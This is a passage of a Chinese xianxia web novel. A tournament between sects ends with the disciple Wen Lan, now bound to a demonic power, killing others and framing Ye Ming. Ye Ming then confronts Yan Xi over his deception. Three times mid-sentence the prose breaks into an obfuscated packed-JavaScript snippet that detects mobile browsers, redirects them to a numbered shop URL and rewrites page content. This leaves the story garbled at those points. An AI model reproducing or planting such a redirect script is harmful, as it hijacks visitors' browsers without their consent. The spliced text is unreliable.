那弟子与同伴对视一眼,皆是一头雾水:“没有啊大师兄,一切正常。” 晏兮望了望四周,“好吧,兴许是我看错。” * “对自己门派小师妹耍阴招,这人还有脸继续参加下一轮?” “无所谓,就他在水镜里被狄星洲追得抱头鼠窜那样,就算晋级了也很快会被打下来,何必呢这是?” 顶着这些非议,文澜独自走入一处僻静山谷。 黑暗中,那道带回音的嘶哑嗓音如期而至:“我就知道,你会主动来找我的。” 文澜攥紧拳头,昂首朝那片黑暗咬牙道:“我要获得力量,我要赢,我要被大师兄看见!你当真能帮我?” 黑暗中传来低笑:“当然。” 黑气悉数降临到文澜身上,文澜从一开始因承受不住而的倒地打滚,痛苦挣扎,到逐渐与它融为一体,再睁开眼时,黑色的眸子猩红一片。 * 三日后,擂台赛正式开始。 首轮抽签,叶暝的对手是观音阁一位颇有阅历的弟子,据说是之前被淘汰的顾冕的师兄。 那弟子摇着折扇,风度翩翩,逼格很高地上台,对着抱剑而立的叶暝放话:“阁下在第一轮比试中伤我师弟,今日,我便要替他讨回公道!” 结果他刚摆开架势,折扇都还没完全展开,一把木剑已点到胸前——仅仅一招,这位放完狠话的师兄就以一个完美的抛物线被送下了擂台,过程快得令人措手不及。 叶暝收剑,闭眼,全程面无表情,将人狠话不多做到了极致。 台下观众静默一瞬,爆发出哄堂大笑。 晏兮:可恶,又给龙傲天装到了! 相比之下,晏兮的运气就没那么好了,第一场就给他对上青云宗的狄星洲。 “这位狄兄,友谊第一,比赛第二,咱们点到为止,不必太认真哈?” 狄星洲憨直道:“我看过第一阶段的回放,你对付那只火焰鸟的那招很强!我会拼尽全力的!” 说着手中长枪一振,战意熊熊燃烧。 晏兮如沐春风的笑容透出一丝沧桑。 高台上,各位前辈也在议论这场对决。凌霄公允地分析:“星洲这孩子虽年纪尚轻,但已随我入战场讨伐过魔将,曾亲手斩下魔将头颅,实战经验非比寻常。” 风止长老闻言,笑哈哈地接话:“是吗,那看来晏兮这小子输定了?正好让他知道知道,什么叫人外有人天外有天!” 台下,叶暝目光紧紧锁定台上。 战斗开始,狄星洲确实强悍,那杆银色长枪更是上品法器,势大力沉,说是金丹期,但爆发出的灵力威压堪比元婴。 晏兮不敢硬接,对台下吵闹的“怎么光躲不出招啊?”“是不是怕了?”等话置若罔闻,全靠系统兑换的“疾风步”和“灵巧祝福”等金手指加持,身形如卷风绕着狄星洲高速移动。 狄星洲被转得头晕目眩,停下来扶了扶脑袋,晏兮瞅准机会,从背后一脚踹在他屁股上! “噗通!”狄星洲摔趴在了擂台上。 全场寂静一瞬。狄星洲爬起来,拍着身上的灰,愤怒地指向晏兮:“你耍赖! “规则允许,哪是耍赖?”晏兮一脸无辜地摊手,“狄兄亦可效仿,绕场游走,攻我不备。” 狄星洲歪头想了想,竟觉十分有理:“原来如此,多谢晏兄指点!” 说罢,他当即学着晏兮先前的样子,绕着擂台边缘埋头狂奔。晏兮则好整以暇地站在原地,眼睁睁看着他自己把自己转晕,晏兮将全身灵流蓄积在腿部,又是一脚,轻松将他送出了擂台边界。 全场再次陷入诡异的寂静:“......” 这赢得,也太儿戏了吧?! 丹宸率先反应过来,举手鼓掌,场中这才陆续响起了稀稀拉拉的掌声。 高台上,风止张着嘴半天没合上。道玄清对凌霄道:“贵宗弟子实力强悍,心性质朴,承让了。” 凌霄望着台下还在揉脑袋一脸“我是谁我在哪儿”的狄星洲,哭笑不得地摇了摇首。 台下自然有不服气的,嘀咕晏兮是耍阴招胜之不武。叶暝冷冷扫过说话之人:“怎么,青云宗是输不起?” “输了就是输了,是我技不如人,你是个值得尊敬的对手!”刚爬起来的狄星洲也听到了,他倒是坦荡,对着晏兮一抱拳,“我去修炼了,待我修炼有成,再寻你挑战!” 连当事人都这么说了,那些质疑的声音也只能悻悻闭嘴。 叶暝的第二场对手是合欢宗一位的女弟子。晏兮瞧这女修身段不错,容貌娇媚,正暗忖着以原著男主的尿性应该会怜香惜玉一些,就被叶暝发现他正盯着那女修看。 “小兄弟,手下留情呀~” 叶暝视线从晏兮面上收回,然后如法炮制,比第一场结束得更快。 晏兮:“?” 经过数轮淘汰,所剩弟子已不足五人。晏兮琢磨着前三甲应该稳了,结果一看抽签结果,下一轮对手是丹宸。 玩呢!怎么强者都让我碰上了?! 第二场,陨星山大弟子对妖域少主。背景音里不少弟子押注丹宸会赢,只有少数人赌晏兮,毕竟上一场他赢得太取巧,大家都觉得是狄星洲太单纯,着了晏兮的道。 然这一次,晏兮打得极为认真,每一招都沉稳老练,与丹宸打得有来有回。众人也都慢慢反应过来他上一轮赢并非全凭运气。 “......呃,现在改押还来得及吗?” “我也改!我押晏兮会赢!” 丹宸也从最初的游刃有余,到渐渐被激起战意,他寻隙摘下晏兮束发的玉冠,引得晏兮墨发披散,眉宇间的清冷与此时的凌乱交织,更添几分惊心动魄的美感。 见丹宸似有调戏之举,台下响起一片抽气声,有人低声调侃:“这位陨星山晏大师兄厉害啊,能和妖域少主打的有来有回。” “谁输谁赢我没看出来,但瞧这架势,不知道的还以为是哪出英雄会美人的好戏呢!” “两人还挺般配。” 叶暝顷刻握紧了拳,指节发白。 丹宸越打越投入,妖族的战斗热血被彻底点燃。就在众人以为这将是一场龙争虎斗的持久战时,晏兮扫见台下的叶暝神色不虞,顿时福至心灵,跳出战圈,道:“打住,我认输!” 瞧男主这架势,估计更想和丹宸来一场情意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17057726|194901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绵绵剑。 行了,舞台就留给正主吧,他这个炮灰就不在这儿碍眼了。何况积分得省着点用,刚才为了维持和丹宸“有来有回”的表象,积分已经哗啦啦掉了一小截,这可是他用来保命的玩意儿。爽一把够了,点到为止,没必要死磕。 司仪没反应过来,还以为听错了,等到晏兮再一次宣布认输,这才宣布丹宸的获胜。 台下众人呆了片刻,捂脸,“哎哟我去,早知道不改押了!” “这、这陨星山大师兄当真每次都叫人出乎意料,哈哈......” 晏兮走到擂台角落,用一根简单的红绳将散落的头发随意束起。丹宸跟过去,不解地问他:“为何认输?你我胜负未分。” 晏兮摆手笑了笑,心想我这不是给你们创造机会嘛,“实不相瞒,我不太喜欢打架。与丹宸少主交手,感觉像是可以值得一交的朋友,没必要非争个高低。” 朋友? “你——”丹宸似不可置信,“愿意与妖族中人做朋友?” 晏兮:“妖族怎么了?相逢即是缘,聊得来自然能成为朋友。” 这说法还是头一回听见。 自打来到仙门地界,听多了明里暗里的排挤与轻视的丹宸心中动容,忽然有些不想把发冠还给他了,“晏道友这玉冠不错,不知可否割爱?我愿用灵石买下。” “不、卖。”叶暝冷硬的声音插了进来。鬼知道这死鸟对他师兄打的什么注意。 丹宸凤眸轻瞥:“我是在问晏道友。” 晏兮也觉不妥,这毕竟是日常佩戴之物,丹宸瞧出他的纠结,也不多言,只伸出一根手指,不急不缓地报了个数。 这么阔绰! 晏兮睁大了眼睛,又瞧向旁边脸色黑如锅底的叶暝,算了,就当是给未来龙傲天的唯一男后宫送个见面礼,顺便自己也能捞点灵石,岂不美哉? 于是他果断道:“卖。” “师兄?!”叶暝霍然转头看他,神色受伤。 丹宸满意地付了灵石,将玉冠收起,对晏兮笑道:“那说好了,今后我们便是朋友。” 晏兮抱着刚到手的灵石袋,颔首答应。 丹宸这才心情愉悦地离去,临走前,目光似有若无地从叶暝身上扫过,很轻地哼笑了声。 晏兮没发现丹宸对叶暝做的堪称挑衅的小动作,还沉浸在发财的喜悦里,腰间猝然一紧,整个人被一股大力向后揽去! 后背撞进坚硬的胸膛,晏兮懵了懵,才惊觉是叶暝把脸埋在他颈窝里蹭。 “卧槽。”晏兮赶紧推他脑袋,得亏这里是个小角落,没人看见。 就听到叶暝着急又委屈地问:“师兄,你竟然为了一点灵石就把自己卖了!那种流氓行径的人你怎么能和他做朋友,你刚才明明能赢他的,为何要认输?” 不是,这反应不对啊O.o? “你好好说话,我卖的是发冠,什么叫把自己卖了?还有别乱蹭。”晏兮一边挣扎,一边试图把叶暝的注意力引向正主,“我瞧那丹宸少主实力强横,性情也爽朗,你多去与他切磋交流,不是更好?” “我不。”叶暝一口回绝,闹脾气似的,将手臂收得更紧,“我只要师兄,师兄不是我的道侣吗,那就该考虑我的感受啊,我不许你和他做朋友,也不许卖东西给他,除非你压根不爱我!” 哈哈,被你说对了,我确实不爱你,不过这不是重点,晏兮就纳闷了,男主怎么不按剧本走呢? 这会儿叶暝的注意力难道不该被那位英俊强大的妖族少主牢牢吸引吗,怎么反倒缠着他不放,总不会真是被“道侣”这个身份限制住本性了吧?你分明不是那种不偷香窃玉的人啊喂。 “好了,真不是我有意向让,这位妖域少主实力很强,我打不过他的,至于发冠,再买一个就是了,嗯?”龙傲天手劲儿太大,晏兮感觉腰都快断了,用堪比摸狗头的手法在叶暝头上摸了好几把,“到时候你帮师兄挑一个?” 虽然输给了丹宸,但拿个第三名问题应该不大。见叶暝委屈巴巴地把头拔出来,应该是安抚到位了,晏兮带他一起回到比擂台下方。 谁知前脚刚踏入人群,后脚便察觉出不对,现场气氛骚动不安,晏兮问一弟子发生什么事了,对方脸上还带着难以言说的震惊。 “你们陨星山的文澜怎么回事?跟换了个人似的,一下子变得好强,刚才居然一招就打败了妖域的胡小柔!” “文澜胜,晋级决赛圈!”随着司仪朗声,擂台中央的文澜眺望场下。 看到晏兮神情怔然,他心中倏地涌起一股扭曲的快意,大师兄,我终于能被你看见了吗,以这般万众瞩目的姿态。 18. 第十八章 无缘前三甲=拿不到灵石。 晏兮回去时整个人都泄了气,瘫椅子里变身一条失去梦想的咸鱼。 虽说早就知道自己的斤两,但真到梦想破灭的时刻还是难免忧伤。 重建栖云峰改善生活的计划又得无限期推迟咯。 “咚咚。”房门被敲响。 晏兮有气无力地应:“进来吧,门没锁。” 他以为是叶暝回来了,毕竟那小子最近黏他黏得紧。 门被推开,进来的却是文澜。 晏兮微怔,迅速调整了下坐姿:“是你啊。” “明日就是决赛了,怎么不好好休息,来找我有什么事?” “大师兄,你原本以为来的是谁,叶溯光吗?” “谁来找我都很正常。”晏兮这会儿正emo着呢,无意和他周旋,“文澜,你找我到底有什么事?” 见他仍这般平淡,连一句对自己今日表现的夸赞都没有,文澜心底有个声音在嘶吼着问为什么,为什么他如此努力,不惜和魔域中人达成交易才走到决赛,在大师兄眼里却依然和往常没有什么不同?! “大师兄,如果没有叶溯光,如今能离你这样近,得到你另眼相看的人,会不会是我?” 晏兮眨巴眨巴眼:“这是什么话?” “我是说如果!”文澜大声道,“如果明天我和他的比试,我赢了,大师兄,你让我留在你身边好不好?叶溯光他根本配不上待在你身边!” 屋外。 刚去外界集市逛了一圈,手里轻巧抛着一个装有新玉冠木盒的黑衣少年正准备敲门,恰好将文澜这番话听了个清清楚楚。 叶暝挑眉,压根没把文澜放在眼里。资质平庸,修为低微,长相普通,毫无威胁力可言。 “胡说什么呢,同门之间,岂容你如此排挤?” 文澜见晏兮似乎有些不悦,不但没有退缩,反而像是找到了宣泄口:“我没胡说!大师兄,你难道不觉得奇怪吗?那个叶溯光,他和叶暝那么像,身形气质,甚至连名字都......他说不定就是叶暝伪装的!大师兄你忘了吗?当初那个叶暝是怎么对你的?!” “那个忘恩负义的白眼狼——他堕入魔道,杀上陨星山欲取你性命!大师兄你当时是何等惊惧,难道这些大师兄都忘了吗?!” 这小炮灰突然发哪门子抽? 晏兮揉了揉眉心,“往事我已说过,他当时身不由己,是为魔尊所惑。” “纵有天大的苦衷也不能害大师兄你!”文澜情绪激动,“大师兄,你告诉我,叶溯光他到底是不是叶暝?你为何要容他伴你左右?你从前不是这样的,你从前骂叶暝是小畜生,你还吩咐我寻机对他下毒,让他在掌门面前难堪,你确实这么吩咐过的啊!这些你都忘了吗?!” 门外的叶暝原本听得漫不经心,正打算推门将这聒噪之人扔出去,文澜最后这几句话让他步伐一滞。 下毒,难堪? 为何......? 叶暝屏吸,不会是真的,晏兮是他的道侣,又待他那般好,定是此人胡言! 屋内的晏兮:?_? 喝点丝瓜汤吧真的,这种事自己能忘吗,要不是原主干的这些破事,自己能为了活下去谎称是叶暝的道侣吗? 我知道你是原主毒唯,问题是我不是原主,无法给你解释啊! “够了文澜。我承认,我确实说过一些过分的话,做过一些不妥的事,但事情过去那么久,往事不必再提。叶溯光也不是叶暝,你不要胡乱猜疑。”晏兮顿了顿,下了逐客令,“你安心准备明天的决赛吧,不要想这些有的没的。” 话音刚落,门外传来哐当一声响,似有什么东西被碰倒的动静。晏兮当即起身开门查看,见到一只黑猫从窗台轻盈跃下,迅速隐入夜色。 原来是猫,吓他一跳。 文澜跟在晏兮身后,看着他明显放松下来的侧脸,落寞地低下头道:“大师兄,明日我定会向你证明,谁才是最有资格站在你身边的人。” 眼看文澜离开前还不忘替自己关门,晏兮还是那句话,不知道他发哪门子抽。 但愿明天不要出什么意外才好。 门扉合拢的轻响过后,四处静谧,转角的阴影仿佛拥有生命般,无声地蠕动了一瞬。 叶暝从暗处缓缓现出身形,月光勾勒出他半边轮廓,另一半则完全隐没在黑暗中。 少年神情晦暗难辨,攥着木盒的指骨用力到没有了血色。 * 晋级前三甲的分别是丹宸、叶溯光和文澜。 次日,风轻絮早早便来拉了晏兮去看决赛,小姑娘眼睛还有些微肿,但精神头看起来不错。 想起风轻絮上一轮被文澜亲手抢夺勋章淘汰,晏兮特地问了一句她的心情。风轻絮心态倒是调整得很好,挤出笑容说:“大师兄,我没事。虽然一开始挺生气的,但是后来想想,爹爹说的也对,重在参与嘛。而且我本来实力就不够,入不了前十甲很正常。如果文师兄他真的能为陨星山争光的话,那其实也没什么。” 不愧是原著后宫之一,就是有格局。 晏兮兮心下赞叹,却又看得分明,那强颜欢笑的背后是被信任之人背刺的难过,晏兮拍了拍她肩宽慰道:“师妹,道理是那样没错,但心里难受的话不用硬撑,想哭就哭吧。” 被这么温柔地一说,风轻絮看起来快碎掉了,眼圈痛红,抱着晏兮的胳膊就哇哇大哭起来:“大师兄,还是你最好!文澜他明明之前还帮过我,为什么要这样?!” 晏兮任由她抱着,心想自己可一点都不好。他现在对叶暝所做的一切何尝不是一场欺骗? 叶暝如今信自己是他的道侣,将来若恢复记忆,得知从头到尾都是谎言,何尝不是一种更残忍的背叛?到时候但愿也有人能像他安慰风轻絮一样去安慰他吧。 【呜呜呜太感动了,宿主居然还有这份同理心~放心,就算叶暝以后真的恢复记忆了要杀宿主,本系统也会尽力保下宿主的!】 晏兮:少说风凉话,真有诚意就多给我涨点积分。 自从叶暝化名叶溯光回来后,这主线任务“让叶暝完全相信自己是道侣”的信任度卡在90%已经很久了,就像是减肥遇到了平台期,是不是得适当刺激一下才能突破? 两人来到比试台附近,却发现气氛有些不对。台上只有丹宸一人抱臂而立,神情带着些许不耐。四周响起越来越多的议论声: “怎么回事,这都什么时辰了,怎么还没开始啊?” “来的只有妖域少主,陨星山那两位呢?” “对啊,叶溯光和文澜怎么一个都没见着?” “该不会是临阵脱逃,不敢来了吧?” 晏兮正纳闷叶暝那小子该不会睡过头了吧,就见一名弟子神色匆忙地跃上高台,在仙盟盟主耳边急语几句。 凌霄原本平和的面容骤然一肃,他起身,浑厚的声音压下了全场嘈杂:“诸位,突发变故,决赛暂缓进行。” 台下直接炸开了锅。 “暂停?怎么回事?” “发生什么大事了?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17057727|194901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “该不会是魔域的人混进来了吧?!” “快别瞎说!慎言!” 晏兮还没理清头绪,便被道玄清派来的弟子紧急召了过去。 他和风轻絮赶到临时作为指挥处的偏殿时,发现所有长辈都面色沉凝,风止长老更是焦急地来回踱步。 空气中弥漫着山雨欲来的压抑感,“掌门,长老,发生什么事了?”晏兮刚问出口,殿外就传来一阵骚动。 他目光凝固在后方——几名弟子正搀扶着一个人走上高台,那人四肢软垂,面目肿胀淤紫,根本辨不出原貌。在他的身后还有几具用白布覆盖的担架,浓重的血腥气弥漫。 若非那人身上沾染大片暗红血迹的弟子服,晏兮昨晚才见过,他几乎认不出这气息奄奄的血人是谁。 “......文澜?” “什么,这是文师兄?!”风轻絮骇得捂住了嘴,“是谁把文师兄伤成这样的?!” 药修女仙长快步上前替文澜把脉,过了会儿,喂了颗保命灵丹给文澜服下。药力化开,文澜喉中发出嗬嗬的抽气声,意识渐醒。 他虚弱地睁开肿胀的眼缝,眼神涣散,仿佛还沉浸在可怖的梦魇之中,惊厥叫道:“啊啊啊——不要杀我!别过来!!” 他失控地扑向离他最近的女长老,被对方侧身避开,转而胡乱抓住了离他最近的晏兮。 晏兮被他沾满血污的手抓住衣袖,强忍着不适,按住他颤抖的肩膀:“文澜,冷静点!看清楚,是我。” “大师兄......大师兄!真的是你!”文澜像是终于认出了人,死死攥住晏兮的衣袖,涕泪横流。 道玄清:“他的伤势如何?” 女长老缓缓摇头:“灵脉尽断,灵核被毁,再无修炼可能,能保住性命已是万幸。” 道玄清闭了闭眼,再睁开,看向状若癫狂的文澜:“文澜,是谁将你伤成这样,这几名弟子又是何人所杀?” “是、是......”文澜呼吸急促,胸膛剧烈起伏,他瑟缩着,目光游移,仿佛那个凶手的影子还在眼前。晏兮近距离瞧他神色,心头那不祥的预感越来越重。 不出意料下一秒,文澜用尽全身力气嘶喊出声:“是叶溯光!他想杀我!他还杀了幻音阁和合欢派的几名弟子!是叶溯光!他发狂了——他是魔修!!” “魔修”二字惊雷般在偏殿中炸响。在场所有来自青云宗、幻音阁、合欢派以及其他仙门的代表瞬间脸色大变。 混入魔修,这在仙盟大会上可是天大的丑闻和隐患! “陨星山掌门!这究竟是怎么一回事?!” “难怪先前我就瞧那叶溯光总针对我派弟子,原是早有预谋啊!陨星山掌门,你必须给我们一个交代!” 幻音阁和合欢派的掌门当即拍案而起。 道玄清脸色从未有今天这般难看过,门下新收弟子竟是魔修,此事若坐实,对整个陨星山皆是不小打击:“文澜,你把话说清楚,指控同门为魔修,可知是何等严重的罪名?” 文澜状若癫狂,眼神却异常清醒,一字一句道:“他不是叶溯光,他是叶暝。掌门,那个叶溯光就是叶暝伪装的,他回来了!他回来报复我们了!” 叶暝? 传闻中那个叛出师门,堕入魔道,曾杀上陨星山的叶暝?! 他竟然没死,还改头换面,重新潜回了宗门?! 一时间,无数道目光齐刷刷射向陨星山众人所在之处,包括身为陨星山首徒的晏兮。 晏兮一颗心沉入了谷底。 19. 第十九章 “文师兄你在说什么啊,你是不是伤太重,神志不清搞错了?” “小师妹!我都成这副模样了,怎么可能会搞错?!” “文师弟,你说这些死去的弟子是叶溯光所杀,你这一身重伤也是叶溯光所为?” 随着一双干净的鞋履映入低垂的视野,晏兮平静的声音在他头顶响起,文澜抬起头,眼中满是冤屈:“千真万确!大师兄,我岂敢在此等大事上胡言?!” 晏兮:“那就奇怪了。” “哦?哪里奇怪了?”一道带着几分慵懒笑意的男声从上方传来。 众人抬头,只见不知何时跃上房梁的妖域少主正悠闲地晃着一条腿,饶有兴致地望着下方。 晏兮从丹宸身上收回视线,俯身,逐一揭开担架上那些死去修士身上覆盖的白布。 “文师弟除了面部受损严重,身上多为凌厉剑伤,灵脉也是被极强的剑气所摧毁,这确实像是叶溯光的剑路。但为何这些死去的弟子身上并无明显致命剑伤,反而更像是被某种邪术吸干了周身灵气,致使灵核枯竭而亡呢?” 说着抬起一具尸体的手臂,将那干枯如同老树皮般的皮肤展现在众人眼前:“你们瞧。” 那手臂的皮肉失去了生机,变得萎缩而干瘪。众人面面相觑,殿内响起一片窃窃私语:“这......” “确实奇怪。”丹宸支着脑袋,“两种截然不同的致命伤竟会出现在同一桩事件里。” “文师弟。”晏兮直起身,目光重新落回文澜身上,“你指控叶溯光是魔修,除了你的一面之词,可还有其他证据?” 文澜没想到晏兮会如此冷静地找出破绽,他眼神闪烁了一下,随即露出悲愤神情:“大师兄,你这是要包庇那个魔修吗?难道我这一身伤,还有这些惨死的同道,还不足以作为证据吗?!” “并非包庇,只是光凭你一人之言很难令人完全信服。若真是叶溯光行凶,他为何要用两种完全不同的方式杀人?这于理不合。” 晏兮转向凌霄和道玄清,拱手请示:“盟主,师尊,事情尚未有定论,草率定罪恐生冤屈。还请允许弟子前去将叶师弟寻回,当面对质,弄清事情真相后,再行定夺不迟。” 他又看向其他几位宗主长老:“诸位前辈意下如何?” 立即有人提出质疑:“就凭你,能制服得了可能已经失控的魔修?” “此事关系重大,还是由道掌门亲自去一趟更为妥当吧!” 晏兮从容应答:“我虽年纪不大,但在陨星山资历颇久,对宗门内外事务也算熟悉。师尊平日里琐事繁多,而叶师弟入门后,确实与我要更亲近一些。我个人不愿相信这些事会是他所为,但若调查之后,真相确如文澜师弟所说,当真是叶溯光丧心病狂,残害同门与道友,那么,我定会亲手提他头来,向诸位死去的弟子们的师门登门谢罪。” 他这话说的平淡,却引得人惊愕。 “提头来见——这话说的真狂啊!” “那魔修若真如文澜所说那般厉害,你不怕他连你也一起杀了?” 晏兮:“他不会。” “你就这么肯定?” 晏兮:“Sure,因为我就不相信这群弟子是他杀的。” “...他说啥呢?” “不知道啊。” 文澜手指扣紧了地面。 “不行,兮儿,你独自前去太危险了。”道玄清沉声开口,“倘若叶溯光真是魔修,且已凶性大发,你此去无异于羊入虎口。此事已非我陨星山一门之事,关乎仙盟安定与诸位道友的血仇,岂能让你一人涉险?” 凌霄也微微颔首,认同道:“玄清所言极是。魔修狡诈凶残,既然文澜指认他已有杀戮之举,便需谨慎对待。本座会派遣执法弟子一同前去搜捕叶溯光,务必将其擒回,公审发落。” “没错!必须一起去!” “定要那魔修插翅难飞!” 其他宗派的掌门长老纷纷附和,一时间,偏殿内请战之声四起,气氛肃杀。 晏兮见状,心知独自前往的提议已不可能被允许。若再坚持,反倒引人疑窦。他眼帘微垂,顺从地敛袖一礼:“是弟子考虑不周,师尊与盟主深谋远虑,弟子听从安排。” 他退至一旁,看似平静地等待着行动的安排,袖中的手指却不自觉地蜷紧。 胡小柔匆忙赶来,附在丹宸耳边低语数句,丹宸皱眉,“我这就回妖域一趟。”临行前,安慰晏兮:“不必过于忧心,一切自有转圜。” 晏兮笑笑:“我没担心。你有急事快回去吧。” 丹宸:“好。” 叶暝如今下落不明,应当处于情绪失控的状态,若在这种情况下被仙盟大队人马找到,双方爆发冲突,后果不堪设想。 晏兮啃了啃指甲,必须想办法在众人找到叶暝之前,先一步确认他的情况和位置。 * 文澜被一股巨力掼上墙壁,一只手狠狠掐住他脖颈。 “说,你对师兄说的那些话是什么意思,什么叫做‘吩咐你寻机对他下毒’,‘让他在掌门面前难堪’?把你知道的一切原原本本说出来!” 文澜被掐得脸色涨红发紫,闻言狞笑道:“你居然一路尾随我?呵呵,你果然是叶暝......你不都已经、听到了吗.....” “少说些没用的废话!”叶暝一剑柄甩他脸上,文澜的脸瞬间肿起更高。 叶暝的目光扫过外面横七竖八的尸体,戾气更重,“这些人都是你杀的?” “是啊......”文澜喘着粗气,“不把这群人杀了嫁祸给你,大师兄怎么才能看到我?怎么才能知道我的重要性?!” “看来你是真的不怕死。”叶暝眯起了眼,“你杀了这么多人,今天我即便在此杀了你,你猜,掌门会不会因为我帮他清理门户而功过相抵,让你再没有出现在师兄眼前的机会?” 文澜闻言笑容敛了去,但很快又得意道:“看来你失忆的事情是真的,你确实不记得以前的事了。大师兄是怎么和你说的我不清楚,但我知道以前的大师兄可是厌烦透了你。” “什么下毒,让你难堪,都只是小把戏!比这更过分更有的是,大师兄不止一次说过,你要是个废人就好了!我真觉得太有道理了!” 文澜死死盯着叶暝颤抖的瞳孔,仿佛找到了叶暝最薄弱的地方, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17057728|194901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗓音如毒蛇吐信:“后来你真的变成废人了——你的灵脉,是大师兄亲手给你断的!什么天之骄子,呵,凭什么你们这种天生灵脉优异的人就可以享有一切,而我们这些天生灵脉低微的人就要在底层摸爬滚打一辈子?!” ——“就几天前我们偷溜下山,遇到了厉害的妖兽,你为了护我受了很重的伤,流了好多血,我背着你赶了一夜的路才回到陨星山。” ——“我们都到这份儿上了,怎么可能是只是单纯的师兄弟关系。我是你道侣!” ——“你当时被妖兽所伤,不仅磕坏了脑子,灵核灵脉也受到重创,心志不坚,被魔尊趁虚而入,这怎么能全怪你?” 晏兮曾经那些温柔关切的话语与文澜无不恶意的声音交织在一起,形成可怕的共鸣。叶暝松开掐着文澜的手,抱住仿佛要裂开的头颅。 文澜趁机大口喘息,看着叶暝发出痛苦不堪的低吼,心中涌起快意:“要我说,大师兄唯一没做对的就是没直接要了你的命,好让你还能去魔域修炼这一身该死的魔功!” 他继续用言语刺激着对方,同时凝聚起体内那股带腐蚀性的魔气,准备给叶暝致命一击,“你不会真以为大师兄对你很好吧?他现在对你亲切都是在骗你,大概就是耍你好玩吧。你在他眼里永远都是那个可以随意践踏的废物!” 头颅像是要撕裂,叶暝痛苦不已。 他感觉脑海里有一个诡谲的声音在不断盘旋放大,怂恿着,叫嚣着: 杀了他,杀了晏兮,他骗你,他从头到尾都在骗你,你要杀了他! “住口!住口!!” 文澜以为叶暝是在让他住口,毕竟此地没有第三人。他森然笑着,眼神一厉,五指成爪狠狠抓向叶暝后心! 可就在他以为即将得手之际,暗芒闪过。 血迹喷洒到墙壁上,霎那间,文澜整个人僵在原地,脸上得意的表情尚未褪去,低头缓慢看向自己的丹田气海,那里传来的灵核与灵脉被摧毁的剧痛,让他发出了不似人声的惨叫。 “呃啊——!!!” 叶暝握着剑喘息,眸光不定,而文澜重重倒地,身体蜷缩成团,不住地抽搐起来。 * 仙盟迎来了近五十年来最大的一次行动,全力搜捕逃跑的叶溯光。 晏兮提前找到了对方,心里giao一声,谢天谢地谢爹谢娘地要带他回去,“你个惹祸精可叫我好找,怎么跑到这么个鬼地方来了,快和我回去把事情——” “别过来!” 这一声可谓气吞山河,晏兮被吼得一踉跄,挠挠头,正想接话说那你过来。 “我就问你一句,你是不是骗了我?”残阳如血,叶暝背对他站在一块最高的礁石边沿。黑袍被风吹得猎猎作响,海面与嶙峋礁石覆盖上一层赤红。 晏兮:“......”嚯,好有电影感的一幕。 不对现在这不是重点。 “是。”晏兮说。 天地都随着这一字落地而安静下来。 漆黑瞳底翻滚着浓烈且瘆人的情感,叶暝转身对他一字字道:“晏兮,你会死的。” “你真的,会死在我手上。”